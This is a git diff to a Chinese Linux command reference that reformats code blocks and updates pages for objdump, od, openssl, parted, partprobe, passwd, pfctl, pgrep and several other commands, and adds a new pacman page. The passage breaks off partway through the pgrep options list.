rwxrwxrwx 0/0 2724 Nov 16 16:06 2009 myfile.o
rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o
@@ -188,7 +181,7 @@ rw-r--r-- 0/0 727 Jul 13 15:32 2011 mytest.o
显示可用的架构和目标结构列表:
-```
+```shell
[root@localhost test]# objdump -i
BFD header file version 2.17.50.0.6-14.el5 20061020
elf32-i386
@@ -247,7 +240,7 @@ trad-core
**显示mytest.o文件中的text段的内容: **
-```
+```shell
[root@localhost test]# objdump --section=.text -s mytest.o
mytest.o: file format elf32-i386
Contents of section .text:
@@ -259,7 +252,7 @@ Contents of section .text:
**反汇编mytest.o中的text段内容,并尽可能用源代码形式表示: **
-```
+```shell
[root@localhost test]# objdump -j .text -S mytest.o
mytest.o: file format elf32-i386
Disassembly of section .text:
@@ -295,7 +288,7 @@ void printTest2()
**反汇编出mytest.o的源代码: **
-```
+```shell
[root@localhost test]# objdump -S mytest.o
mytest.o: file format elf32-i386
@@ -333,7 +326,7 @@ void printTest2()
**显示文件的符号表入口: **
-```
+```shell
[root@localhost test]# objdump -t mytest.o
mytest.o: file format elf32-i386
@@ -358,7 +351,7 @@ SYMBOL TABLE:
这里,输出的信息类似`nm -s`命令的输出,相比较之下,nm命令的输出如下:
-```
+```shell
[root@localhost test]# nm -s mytest.o
0000000c T _Z10printTest2v
00000000 T _Z9printTestv
@@ -367,7 +360,7 @@ SYMBOL TABLE:
**显示文件的符号表入口,将底层符号解码并表示成用户级别: **
-```
+```shell
[root@localhost test]# objdump -t -C mytest.o
mytest.o: file format elf32-i386
SYMBOL TABLE:
@@ -393,7 +386,7 @@ SYMBOL TABLE:
**反汇编目标文件的特定机器码段: **
-```
+```shell
[root@localhost test]# objdump -d mytest.o
mytest.o: file format elf32-i386
Disassembly of section .text:
@@ -420,7 +413,7 @@ Disassembly of section .text:
**反汇编特定段,并将汇编代码对应的文件名称和行号对应上: **
-```
+```shell
[root@localhost test]# objdump -d -l mytest.o
mytest.o: file format elf32-i386
Disassembly of section .text:
@@ -456,7 +449,7 @@ _Z10printTest2v():
**显示目标文件各个段的头部摘要信息: **
-```
+```shell
[root@localhost test]# objdump -h mytest.o
mytest.o: file format elf32-i386
@@ -491,4 +484,3 @@ Idx Name Size VMA LMA File off Algn
这里,更多的内容参见`man objdump`中的这个选项。
-
\ No newline at end of file
diff --git a/command/od.md b/command/od.md
index 0e403cd3516..df270d81b63 100644
--- a/command/od.md
+++ b/command/od.md
@@ -1,6 +1,6 @@
od
===
-
+
输出文件的八进制、十六进制等格式编码的字节
## 补充说明
@@ -9,15 +9,15 @@ od
常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。在我看来,od命令主要用来格式化输出文件数据,即对文件中的数据进行无二义性的解释。不管是IEEE754格式的浮点数还是ASCII码,od命令都能按照需求输出它们的值。
-### 语法
+### 语法
-```
+```shell
od(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:此参数的效果和同时指定“-ta”参数相同;
-A:<字码基数>:选择以何种基数计算字码;
-b:此参数的效果和同时指定“-toC”参数相同;
@@ -39,13 +39,13 @@ od(选项)(参数)
--version:显示版本信息。
```
-### 参数
+### 参数
文件:指定要显示的文件。
-### 实例
+### 实例
-```
+```shell
[linuxde@localhost ~]$ echo abcdef g > tmp
[linuxde@localhost ~]$ cat tmp
abcdef g
@@ -53,7 +53,7 @@ abcdef g
说明:先准备一个tmp文件
-```
+```shell
[linuxde@localhost ~]$ od -b tmp
0000000 141 142 143 144 145 146 040 147 012
0000011
@@ -61,7 +61,7 @@ abcdef g
说明:使用单字节八进制解释进行输出,注意左侧的默认地址格式为八字节
-```
+```shell
[linuxde@localhost ~]$ od -c tmp
0000000 a b c d e f g \n
0000011
@@ -69,7 +69,7 @@ abcdef g
说明:使用ASCII码进行输出,注意其中包括转义字符
-```
+```shell
[linuxde@localhost ~]$ od -t d1 tmp
0000000 97 98 99 100 101 102 32 103 10
0000011
@@ -77,7 +77,7 @@ abcdef g
说明:使用单字节十进制进行解释
-```
+```shell
[linuxde@localhost ~]$ od -A d -c tmp
0000000 a b c d e f g \n
0000009
@@ -85,7 +85,7 @@ abcdef g
说明:设置地址格式为十进制。
-```
+```shell
[linuxde@localhost ~]$ od -A x -c tmp
000000 a b c d e f g \n
000009
@@ -93,7 +93,7 @@ abcdef g
说明:设置地址格式为十六进制
-```
+```shell
[linuxde@localhost ~]$ od -j 2 -c tmp
0000002 c d e f g \n
0000011
@@ -101,7 +101,7 @@ abcdef g
说明:跳过开始的两个字节
-```
+```shell
[linuxde@localhost ~]$ od -N 2 -j 2 -c tmp
0000002 c d
0000004
@@ -109,7 +109,7 @@ abcdef g
说明:跳过开始的两个字节,并且仅输出两个字节
-```
+```shell
[linuxde@localhost ~]$ od -w1 -c tmp
0000000 a
0000001 b
@@ -125,7 +125,7 @@ abcdef g
说明:每行仅输出1个字节
-```
+```shell
[linuxde@localhost ~]$ od -w2 -c tmp
0000000 a b
0000002 c d
@@ -137,7 +137,7 @@ abcdef g
说明:每行输出两个字节
-```
+```shell
[linuxde@localhost ~]$ od -w3 -b tmp
0000000 141 142 143
0000003 144 145 146
@@ -148,4 +148,3 @@ abcdef g
说明:每行输出3个字节,并使用八进制单字节进行解释
-
\ No newline at end of file
diff --git a/command/openssl.md b/command/openssl.md
index e8c8de25000..269291b9f9e 100644
--- a/command/openssl.md
+++ b/command/openssl.md
@@ -19,7 +19,7 @@ OpenSSL一共提供了8种对称加密算法,其中7种是分组加密算法
**非对称加密算法**
-OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用户密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。
+OpenSSL一共实现了4种非对称加密算法,包括DH算法、RSA算法、DSA算法和椭圆曲线算法(EC)。DH算法一般用于密钥交换。RSA算法既可以用于密钥交换,也可以用于数字签名,当然,如果你能够忍受其缓慢的速度,那么也可以用于数据加密。DSA算法则一般只用于数字签名。
**信息摘要算法**
@@ -41,7 +41,7 @@ OpenSSL实现了5种信息摘要算法,分别是MD2、MD5、MDC2、SHA(SHA1
几乎所有 Linux 发行版都包含 openssl。我们可以利用它的随机功能来生成可以用作密码的随机字母字符串。
-```bash
+```shell
openssl rand -base64 10
# nU9LlHO5nsuUvw==
```
@@ -52,37 +52,37 @@ nU9LlHO5nsuUvw==
用SHA1算法计算文件file.txt的哈西值,输出到stdout:
-```
+```shell
# openssl dgst -sha1 file.txt
```
用SHA1算法计算文件file.txt的哈西值,输出到文件digest.txt:
-```
+```shell
# openssl sha1 -out digest.txt file.txt
```
用DSS1(SHA1)算法为文件file.txt签名,输出到文件dsasign.bin。签名的private key必须为DSA算法产生的,保存在文件dsakey.pem中。
-```
+```shell
# openssl dgst -dss1 -sign dsakey.pem -out dsasign.bin file.txt
```
用dss1算法验证file.txt的数字签名dsasign.bin,验证的private key为DSA算法产生的文件dsakey.pem。
-```
+```shell
# openssl dgst -dss1 -prverify dsakey.pem -signature dsasign.bin file.txt
```
用sha1算法为文件file.txt签名,输出到文件rsasign.bin,签名的private key为RSA算法产生的文件rsaprivate.pem。
-```
+```shell
# openssl sha1 -sign rsaprivate.pem -out rsasign.bin file.txt
```
用sha1算法验证file.txt的数字签名rsasign.bin,验证的public key为RSA算法生成的rsapublic.pem。
-```
+```shell
# openssl sha1 -verify rsapublic.pem -signature rsasign.bin file.txt
```
@@ -90,31 +90,31 @@ nU9LlHO5nsuUvw==
对称加密应用例子,用DES3算法的CBC模式加密文件plaintext.doc,加密结果输出到文件ciphertext.bin。
-```
+```shell
# openssl enc -des3 -salt -in plaintext.doc -out ciphertext.bin
```
用DES3算法的OFB模式解密文件ciphertext.bin,提供的口令为trousers,输出到文件plaintext.doc。注意:因为模式不同,该命令不能对以上的文件进行解密。
-```
+```shell
# openssl enc -des-ede3-ofb -d -in ciphertext.bin -out plaintext.doc -pass pass:trousers
```
用Blowfish的CFB模式加密plaintext.doc,口令从环境变量PASSWORD中取,输出到文件ciphertext.bin。
-```
+```shell
# openssl bf-cfb -salt -in plaintext.doc -out ciphertext.bin -pass env:PASSWORD
```
给文件ciphertext.bin用base64编码,输出到文件base64.txt。
-```
+```shell
# openssl base64 -in ciphertext.bin -out base64.txt
```
用RC5算法的CBC模式加密文件plaintext.doc,输出到文件ciphertext.bin,salt、key和初始化向量(iv)在命令行指定。
-```
+```shell
# openssl rc5 -in plaintext.doc -out ciphertext.bin -S C62CB1D49F158ADC -iv E9EDACA1BD7090C6 -K 89D4B1678D604FAA3DBFFD030A314B29
```
@@ -122,13 +122,13 @@ nU9LlHO5nsuUvw==
使用生成因子2和随机的1024-bit的素数产生D0ffie-Hellman参数,输出保存到文件dhparam.pem
-```
+```shell
# openssl dhparam -out dhparam.pem -2 1024
```
从dhparam.pem中读取Diffie-Hell参数,以C代码的形式,输出到stdout。
-```
+```shell
# openssl dhparam -in dhparam.pem -noout -C
```
@@ -136,25 +136,25 @@ nU9LlHO5nsuUvw==
生成1024位DSA参数集,并输出到文件dsaparam.pem。
-```
+```shell
# openssl dsaparam -out dsaparam.pem 1024
```
使用参数文件dsaparam.pem生成DSA私钥匙,采用3DES加密后输出到文件dsaprivatekey.pem
-```
+```shell
# openssl gendsa -out dsaprivatekey.pem -des3 dsaparam.pem
```
使用私钥匙dsaprivatekey.pem生成公钥匙,输出到dsapublickey.pem
-```
+```shell
# openssl dsa -in dsaprivatekey.pem -pubout -out dsapublickey.pem
```
从dsaprivatekey.pem中读取私钥匙,解密并输入新口令进行加密,然后写回文件dsaprivatekey.pem
-```
+```shell
# openssl dsa -in dsaprivatekey.pem -out dsaprivatekey.pem -des3 -passin
```
@@ -162,71 +162,71 @@ nU9LlHO5nsuUvw==
产生1024位RSA私匙,用3DES加密它,口令为trousers,输出到文件rsaprivatekey.pem
-```
+```shell
# openssl genrsa -out rsaprivatekey.pem -passout pass:trousers -des3 1024
```
从文件rsaprivatekey.pem读取私匙,用口令trousers解密,生成的公钥匙输出到文件rsapublickey.pem
-```
+```shell
# openssl rsa -in rsaprivatekey.pem -passin pass:trousers -pubout -out rsapubckey.pem
```
用公钥匙rsapublickey.pem加密文件plain.txt,输出到文件cipher.txt
-```
+```shell
# openssl rsautl -encrypt -pubin -inkey rsapublickey.pem -in plain.txt -out cipher.txt
```
使用私钥匙rsaprivatekey.pem解密密文cipher.txt,输出到文件plain.txt
-```
+```shell
# openssl rsautl -decrypt -inkey rsaprivatekey.pem -in cipher.txt -out plain.txt
```
用私钥匙rsaprivatekey.pem给文件plain.txt签名,输出到文件signature.bin
-```
+```shell
# openssl rsautl -sign -inkey rsaprivatekey.pem -in plain.txt -out signature.bin
```
用公钥匙rsapublickey.pem验证签名signature.bin,输出到文件plain.txt
-```
+```shell
# openssl rsautl -verify -pubin -inkey rsapublickey.pem -in signature.bin -out plain
```
从X.509证书文件cert.pem中获取公钥匙,用3DES加密mail.txt,输出到文件mail.enc
-```
+```shell
# openssl smime -encrypt -in mail.txt -des3 -out mail.enc cert.pem
```
从X.509证书文件cert.pem中获取接收人的公钥匙,用私钥匙key.pem解密S/MIME消息mail.enc,结果输出到文件mail.txt
-```
+```shell
# openssl smime -decrypt -in mail.enc -recip cert.pem -inkey key.pem -out mail.txt
```
cert.pem为X.509证书文件,用私匙key,pem为mail.txt签名,证书被包含在S/MIME消息中,输出到文件mail.sgn
-```
+```shell
# openssl smime -sign -in mail.txt -signer cert.pem -inkey key.pem -out mail.sgn
```
验证S/MIME消息mail.sgn,输出到文件mail.txt,签名者的证书应该作为S/MIME消息的一部分包含在mail.sgn中
-```
+```shell
# openssl smime -verify -in mail.sgn -out mail.txt
```
更多实例:
-```
+```shell
openssl version -a
openssl help
openssl genrsa -aes128 -out fd.key 2048 # pem format
openssl rsa -text -in fd.key
```
-
+
diff --git a/command/pacman.md b/command/pacman.md
new file mode 100644
index 00000000000..60ce0307a04
--- /dev/null
+++ b/command/pacman.md
@@ -0,0 +1,55 @@
+pacman
+===
+
+Arch Linux 系统及其衍生系统中默认使用的包管理器
+
+## 安装
+
+在安装 Arch Linux 时,会需要安装 base 包组,其中包括 pacman 包,具体 Arch Linux 安装流程请参见 [Arch Wiki(CN)](https://wiki.archlinuxcn.org/wiki/%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97)
+
+## 实例
+
+### 安装软件包
+官方软件包
+```bash
+pacman -S p7zip
+```
+
+非官方软件包(用户制作)
+```bash
+yay -S package_name1 package_name2 ...
+```
+
+### 查询软件包
+
+```bash
+pacman -Ss package_name1 package_name2 ...
+```
+
+### 列出所有软件包
+
+```bash
+pacman -Q
+```
+
+### 删除某个软件包
+
+```bash
+pacman -R p7zip
+```
+
+或者是同时删除他的依赖
+
+```bash
+pacman -Rsc p7zip
+```
+
+### 开始滚动更新
+
+```bash
+pacman -Syyu
+```
+
+## 参考资料
+
+- Archlinux 中文维基
diff --git a/command/parted.md b/command/parted.md
index 5bab7e823e7..24512a5589a 100644
--- a/command/parted.md
+++ b/command/parted.md
@@ -1,33 +1,33 @@
parted
===
-
+
磁盘分区和分区大小调整工具
## 补充说明
**parted命令** 是由GNU组织开发的一款功能强大的磁盘分区和分区大小调整工具,与fdisk不同,它支持调整分区的大小。作为一种设计用于Linux的工具,它没有构建成处理与fdisk关联的多种分区类型,但是,它可以处理最常见的分区格式,包括:ext2、ext3、fat16、fat32、NTFS、ReiserFS、JFS、XFS、UFS、HFS以及Linux交换分区。
-### 语法
+### 语法
-```
+```shell
parted(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-h:显示帮助信息;
-i:交互式模式;
-s:脚本模式,不提示用户;
-v:显示版本号。
```
-### 参数
+### 参数
* 设备:指定要分区的硬盘所对应的设备文件;
* 命令:要执行的parted命令。
-### 实例
+### 实例
从串行技术出现以来,越来越多用户选择使用大容量的SATA硬盘创建磁盘阵列;特别是MD1000/MD3000,很轻易就突破2T的LUN,故在此给大家一些指引。
@@ -40,7 +40,7 @@ parted(选项)(参数)
* 绿色代表你需要使用的命令。
* 红色代表你需要注意到的输出信息,在后续需要使用。
-```
+```shell
[root@localhost ~]# fdisk -l
Disk /dev/sda: 35.8 GB, 35862976512 bytes
255 heads, 63 sectors/track, 4360 cylinders
@@ -55,7 +55,7 @@ Units = cylinders of 16065 * 512 = 8225280 bytes
Disk /dev/sdb doesn't contain a valid partition table
```
-```
+```shell
[root@localhost ~]# parted /dev/sdb
GNU Parted Copyright (C) 1998 - 2004 free Software Foundation, Inc.
This program is free software, covered by the GNU General Public License.
@@ -75,12 +75,11 @@ Minor 起始点 终止点 文件系统 名称 标志
Minor 起始点 终止点 文件系统 名称 标志
1 0.017 2047.983
(parted)quit
-
```
如果必要,不要忘记更新`/etc/fstab`。
-```
+```shell
[root@localhost ~]# fdisk -l
Disk /dev/sda: 35.8 GB, 35862976512 bytes
255 heads, 63 sectors/track, 4360 cylinders
@@ -102,7 +101,7 @@ Partition 1 has different physical/logical endings:
phys=(1023, 254, 63) logical=(261, 21, 16)
```
-```
+```shell
[root@localhost ~]# mkfs.ext3 /dev/sdb1
mke2fs 1.35 (28-Feb-2004)
Filesystem label=
@@ -125,7 +124,7 @@ This filesystem will be automatically checked every 28 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.
```
-```
+```shell
[root@localhost ~]# mount /dev/sdb1 /mnt
[root@localhost ~]# df -h
Filesystem 容量 已用 可用 已用% 挂载点
@@ -136,4 +135,3 @@ none 252M 0 252M 0% /dev/shm
```
-
\ No newline at end of file
diff --git a/command/partprobe.md b/command/partprobe.md
index 32bb917b9ce..eeb9b188590 100644
--- a/command/partprobe.md
+++ b/command/partprobe.md
@@ -1,36 +1,36 @@
partprobe
===
-
+
不重启的情况下重读分区
## 补充说明
**partprobe命令** 用于重读分区表,当出现删除文件后,出现仍然占用空间。可以partprobe在不重启的情况下重读分区。
-### 语法
+### 语法
-```
+```shell
partprobe(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:不更新内核;
-s:显示摘要和分区;
-h:显示帮助信息;
-v:显示版本信息。
```
-### 参数
+### 参数
设备:指定需要确认分区表改变的硬盘对应的设备文件。
-### 实例
+### 实例
使用partprobe不重启系统添加新的磁盘分区,主机自带硬盘超过300GB,目前只划分使用了3个主分区,不到70GB,如下:
-```
+```shell
[root@localhost ~]# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda1 29G 3.7G 24G 14% /
@@ -38,7 +38,7 @@ Filesystem Size Used Avail Use% Mounted on
tmpfs 2.0G 0 2.0G 0% /dev/shm
```
-```
+```shell
[root@localhost ~]# cat /proc/partitions
major minor #blocks name
@@ -50,14 +50,13 @@ major minor #blocks name
8 32 976896 sdc
…省略其他
-
```
现在需要给系统添加1个100GB的空间存放数据文件,而又不影响现有系统上业务的运行,使用fdisk结合partprobe命令不重启系统添加一块新的磁盘分区。操作步骤如下:
**第1步 添加新的磁盘分区** :
-```
+```shell
[root@localhost ~]# fdisk /dev/sda
The number of cylinders for this disk is set to 38770.
There is nothing wrong with that, but this is larger than 1024,
@@ -101,7 +100,7 @@ Syncing disks.
**第2步 使用工具partprobe让kernel读取分区信息:**
-```
+```shell
[root@localhost ~]# partprobe
```
@@ -109,7 +108,7 @@ Syncing disks.
**第3步 格式化文件系统:**
-```
+```shell
[root@localhost ~]# mkfs.ext3 /dev/sda4
mke2fs 1.39 (29-May-2006)
Filesystem label=
@@ -140,7 +139,7 @@ This filesystem will be automatically checked every 26 mounts or
**第4步 mount新的分区`/dev/sda4`:**
-```
+```shell
[root@localhost ~]# e2label /dev/sda4 /data
[root@localhost ~]# mkdir /data
[root@localhost ~]# mount /dev/sda4 /data
@@ -155,4 +154,3 @@ tmpfs 2023936 0 2023936 0% /dev/shm
使用partprobe可以不用重启系统即可配合fdisk工具创建新的分区。
-
\ No newline at end of file
diff --git a/command/passwd.md b/command/passwd.md
index 26a603a95ae..a3f8df7368a 100644
--- a/command/passwd.md
+++ b/command/passwd.md
@@ -1,21 +1,21 @@
passwd
===
-
+
用于让用户可以更改自己的密码
## 补充说明
**passwd命令** 用于设置用户的认证信息,包括用户密码、密码过期时间等。系统管理者则能用它管理系统用户的密码。只有管理者可以指定用户名称,一般用户只能变更自己的密码。
-### 语法
+### 语法
-```
+```shell
passwd(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d:删除密码,仅有系统管理者才能使用;
-f:强制执行;
-k:设置只有在密码过期失效后,方能更新;
@@ -24,105 +24,113 @@ passwd(选项)(参数)
-u:解开已上锁的帐号。
```
-### 参数
+### 参数
用户名:需要设置密码的用户名。
-### 知识扩展
+### 知识扩展
与用户、组账户信息相关的文件
存放用户信息:
-```
+```shell
/etc/passwd
/etc/shadow
```
存放组信息:
-```
+```shell
/etc/group
/etc/gshadow
```
用户信息文件分析(每项用`:`隔开)
-```
+```shell
例如:jack:X:503:504:::/home/jack/:/bin/bash
-jack //用户名
-X //口令、密码
-503 //用户id(0代表root、普通新建用户从500开始)
-504 //所在组
-: //描述
-/home/jack/ //用户主目录
-/bin/bash //用户缺省Shell
+jack # 用户名
+X # 口令、密码
+503 # 用户id(0代表root、普通新建用户从500开始)
+504 # 所在组
+: # 描述
+/home/jack/ # 用户主目录
+/bin/bash # 用户缺省Shell
```
组信息文件分析
-```
+```shell
例如:jack:$!$:???:13801:0:99999:7:*:*:
-jack //组名
-$!$ //被加密的口令
-13801 //创建日期与今天相隔的天数
-0 //口令最短位数
-99999 //用户口令
-7 //到7天时提醒
-* //禁用天数
-* //过期天数
+jack # 组名
+$!$ # 被加密的口令
+13801 # 创建日期与今天相隔的天数
+0 # 口令最短位数
+99999 # 用户口令
+7 # 到7天时提醒
+* # 禁用天数
+* # 过期天数
```
-### 实例
+### 实例
如果是普通用户执行passwd只能修改自己的密码。如果新建用户后,要为新用户创建密码,则用passwd用户名,注意要以root用户的权限来创建。
-```
-[root@localhost ~]# passwd linuxde //更改或创建linuxde用户的密码;
+```shell
+[root@localhost ~]# passwd linuxde # 更改或创建linuxde用户的密码;
Changing password for user linuxde.
-New UNIX password: //请输入新密码;
-Retype new UNIX password: //再输入一次;
-passwd: all authentication tokens updated successfully. //成功;
+New UNIX password: # 请输入新密码;
+Retype new UNIX password: # 再输入一次;
+passwd: all authentication tokens updated successfully. # 成功;
```
-普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。
+或通过管道符把`echo`命令和`passwd`命令的`--stdin`参数相结合,用一条命令来完成密码修改,无序交互。
+以 linuxde 用户的密码改成 123456 为例:
+```shell
+[root@localhost ~]# echo "123456" | passwd --stdin linuxde
+Changing password for user linuxde. # 正在更改 linuxde 用户的密码。
+passwd: all authentication tokens updated successfully. # passwd:所有身份验证令牌都已成功更新
```
+
+普通用户如果想更改自己的密码,直接运行passwd即可,比如当前操作的用户是linuxde。
+
+```shell
[linuxde@localhost ~]$ passwd
-Changing password for user linuxde. //更改linuxde用户的密码;
-(current) UNIX password: //请输入当前密码;
-New UNIX password: //请输入新密码;
-Retype new UNIX password: //确认新密码;
-passwd: all authentication tokens updated successfully. //更改成功;
+Changing password for user linuxde. # 更改linuxde用户的密码;
+(current) UNIX password: # 请输入当前密码;
+New UNIX password: # 请输入新密码;
+Retype new UNIX password: # 确认新密码;
+passwd: all authentication tokens updated successfully. # 更改成功;
```
比如我们让某个用户不能修改密码,可以用`-l`选项来锁定:
-```
-[root@localhost ~]# passwd -l linuxde //锁定用户linuxde不能更改密码;
+```shell
+[root@localhost ~]# passwd -l linuxde # 锁定用户linuxde不能更改密码;
Locking password for user linuxde.
-passwd: Success //锁定成功;
+passwd: Success # 锁定成功;
-[linuxde@localhost ~]# su linuxde //通过su切换到linuxde用户;
-[linuxde@localhost ~]$ passwd //linuxde来更改密码;
+[linuxde@localhost ~]# su linuxde # 通过su切换到linuxde用户;
+[linuxde@localhost ~]$ passwd # linuxde来更改密码;
Changing password for user linuxde.
Changing password for linuxde
-(current) UNIX password: //输入linuxde的当前密码;
-passwd: Authentication token manipulation error //失败,不能更改密码;
+(current) UNIX password: # 输入linuxde的当前密码;
+passwd: Authentication token manipulation error # 失败,不能更改密码;
```
再来一例:
-```
-[root@localhost ~]# passwd -d linuxde //清除linuxde用户密码;
+```shell
+[root@localhost ~]# passwd -d linuxde # 清除linuxde用户密码;
Removing password for user linuxde.
-passwd: Success //清除成功;
+passwd: Success # 清除成功;
-[root@localhost ~]# passwd -S linuxde //查询linuxde用户密码状态;
-Empty password. //空密码,也就是没有密码;
+[root@localhost ~]# passwd -S linuxde # 查询linuxde用户密码状态;
+Empty password. # 空密码,也就是没有密码;
```
注意:当我们清除一个用户的密码时,登录时就无需密码,这一点要加以注意。
-
\ No newline at end of file
diff --git a/command/paste.md b/command/paste.md
index 88b1da923af..72b12d91175 100644
--- a/command/paste.md
+++ b/command/paste.md
@@ -1,28 +1,27 @@
paste
===
-
+
将多个文件按列队列合并
## 补充说明
**paste命令** 用于将多个文件按照列队列进行合并。
-### 语法
+### 语法
-```
+```shell
paste(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-d<间隔字符>或--delimiters=<间隔字符>:用指定的间隔字符取代跳格字符;
-s或——serial串列进行而非平行处理。
```
-### 参数
+### 参数
文件列表:指定需要合并的文件列表。
-
\ No newline at end of file
diff --git a/command/patch.md b/command/patch.md
index 2692a2a417f..d69c2a76533 100644
--- a/command/patch.md
+++ b/command/patch.md
@@ -1,21 +1,21 @@
patch
===
-
+
为开放源代码软件安装补丁程序
## 补充说明
**patch命令** 被用于为开放源代码软件安装补丁程序。让用户利用设置修补文件的方式,修改,更新原始文件。如果一次仅修改一个文件,可直接在命令列中下达指令依序执行。如果配合修补文件的方式则能一次修补大批文件,这也是Linux系统核心的升级方法之一。
-### 语法
+### 语法
-```
+```shell
patch(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b或--backup:备份每一个原始文件;
-B<备份字首字符串>或--prefix=<备份字首字符串>:设置文件备份时,附加在文件名称前面的字首字符串,该字符串可以是路径名称;
-c或--context:把修补数据解译成关联性的差异;
@@ -50,10 +50,9 @@ patch(选项)(参数)
--verbose:详细显示指令的执行过程。
```
-### 参数
+### 参数
-* 原文件:指定需要打补丁的原始文件;
-* 补丁文件:指定补丁文件。
+* 原文件:指定需要打补丁的原始文件;
+* 补丁文件:指定补丁文件。
-
\ No newline at end of file
diff --git a/command/pathchk.md b/command/pathchk.md
index 751d565a0a5..a7e81a988a6 100644
--- a/command/pathchk.md
+++ b/command/pathchk.md
@@ -1,21 +1,21 @@
pathchk
===
-
+
检查文件中不可移植的部分
## 补充说明
**pathchk命令** 用来检查文件中不可移植的部分。
-### 语法
+### 语法
-```
+```shell
pathchk(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-p:检查大多数的POSIX系统;
-P:检查空名字和“-”开头的文件;
--portability:检查所有的POSIX系统,等同于“-P-p”选项;
@@ -23,10 +23,9 @@ pathchk(选项)(参数)
--wersion:显示版本号。
```
-### 参数
+### 参数
* 文件:带路径信息的文件;
* 后缀:可选参数,指定要去除的文件后缀字符串。
-
\ No newline at end of file
diff --git a/command/perl.md b/command/perl.md
index 5e26f1ec204..9c066dd063c 100644
--- a/command/perl.md
+++ b/command/perl.md
@@ -1,30 +1,29 @@
perl
===
-
+
perl语言解释器
## 补充说明
**perl命令** 是perl语言解释器,负责解释执行perl语言程序。
-### 语法
+### 语法
-```
+```shell
perl(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-w:输出有用的警告信息;
-U:允许不安全的操作;
-c:仅检查文件的语法;
-d:在调试下运行脚本程序。
```
-### 参数
+### 参数
文件:要运行的perl脚本程序。
-
\ No newline at end of file
diff --git a/command/pfctl.md b/command/pfctl.md
index c97c2dee9f6..c41cb33d9f1 100644
--- a/command/pfctl.md
+++ b/command/pfctl.md
@@ -1,6 +1,6 @@
pfctl
===
-
+
PF防火墙的配置命令
## 补充说明
@@ -9,11 +9,11 @@ PF防火墙的配置命令
PF防火墙的功能很多,本站只列举一些基本配置。
-### 激活
+### 激活
要激活pf并且使它在启动时调用配置文件,编辑`/etc/rc.conf`文件,修改配置pf的一行:
-```
+```shell
pf=yes
```
@@ -21,14 +21,14 @@ pf=yes
也可以通过pfctl程序启动和停止pf:
-```
-# pfctl -e
-# pfctl -d
+```shell
+pfctl -e
+pfctl -d
```
注意这仅仅是启动和关闭PF,实际它不会载入规则集,规则集要么在系统启动时载入,要在PF启动后通过命令单独载入。
-### 配置
+### 配置
系统引导到在rc脚本文件运行PF时PF从`/etc/pf.conf`文件载入配置规则。注意当`/etc/pf.conf`文件是默认配置文件,在系统调用rc脚本文件时,它仅仅是作为文本文件由pfctl装入并解释和插入pf的。对于一些应用来说,其他的规则集可以在系统引导后由其他文件载入。对于一些设计的非常好的unix程序,PF提供了足够的灵活性。
@@ -46,24 +46,22 @@ pf=yes
空行会被忽略,以#开头的行被认为是注释。
-### 控制
+### 控制
引导之后,PF可以通过pfctl程序进行操作,以下是一些例子:
-```
-# pfctl -f /etc/pf.conf 载入 pf.conf 文件
-# pfctl -nf /etc/pf.conf 解析文件,但不载入
-# pfctl -Nf /etc/pf.conf 只载入文件中的NAT规则
-# pfctl -Rf /etc/pf.conf 只载入文件中的过滤规则
-
-# pfctl -sn 显示当前的NAT规则
-# pfctl -sr 显示当前的过滤规则
-# pfctl -ss 显示当前的状态表
-# pfctl -si 显示过滤状态和计数
-# pfctl -sa 显示任何可显示的
+```shell
+pfctl -f /etc/pf.conf # 载入 pf.conf 文件
+pfctl -nf /etc/pf.conf # 解析文件,但不载入
+pfctl -Nf /etc/pf.conf # 只载入文件中的NAT规则
+pfctl -Rf /etc/pf.conf # 只载入文件中的过滤规则
+pfctl -sn # 显示当前的NAT规则
+pfctl -sr # 显示当前的过滤规则
+pfctl -ss # 显示当前的状态表
+pfctl -si # 显示过滤状态和计数
+pfctl -sa # 显示任何可显示的
```
完整的命令列表,请参阅pfctl的man手册页。
-
\ No newline at end of file
diff --git a/command/pgrep.md b/command/pgrep.md
index 3539746bb29..034dbd95f2d 100644
--- a/command/pgrep.md
+++ b/command/pgrep.md
@@ -1,37 +1,54 @@
pgrep
===
-
-设置用户的认证信息,包括用户密码、密码过期时间等
+
+根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID(PID)
## 补充说明
**pgrep命令** 以名称为依据从运行进程队列中查找进程,并显示查找到的进程id。每一个进程ID以一个十进制数表示,通过一个分割字符串和下一个ID分开,默认的分割字符串是一个新行。对于每个属性选项,用户可以在命令行上指定一个以逗号分割的可能值的集合。
-### 语法
+### 语法
-```
+```shell
pgrep(选项)(参数)
```
-### 选项
+### 选项
-```
--o:仅显示找到的最小(起始)进程号;
--n:仅显示找到的最大(结束)进程号;
--l:显示进程名称;
--P:指定父进程号;
--g:指定进程组;
--t:指定开启进程的终端;
--u:指定进程的有效用户ID。
+```shell
+-d, --delimiter :指定输出的分隔符。
+-l, --list-name:列出进程ID和进程名称。
+-a, --list-full:列出进程ID和完整的命令行。
+-v, --inverse:反向匹配,即只显示不匹配的进程。
+-w, --lightweight:列出所有TID(轻量级线程)。
+-c, --count:显示匹配的进程数量。
+-f, --full:使用完整的进程名称进行匹配。
+-g, --pgroup :匹配指定的进程组ID。
+-G, --group :匹配真实组ID。
+-i, --ignore-case:忽略大小写进行匹配。
+-n, --newest:选择最近启动的进程。
+-o, --oldest:选择最早启动的进程。
+-O, --older :选择启动时间早于指定秒数的进程。
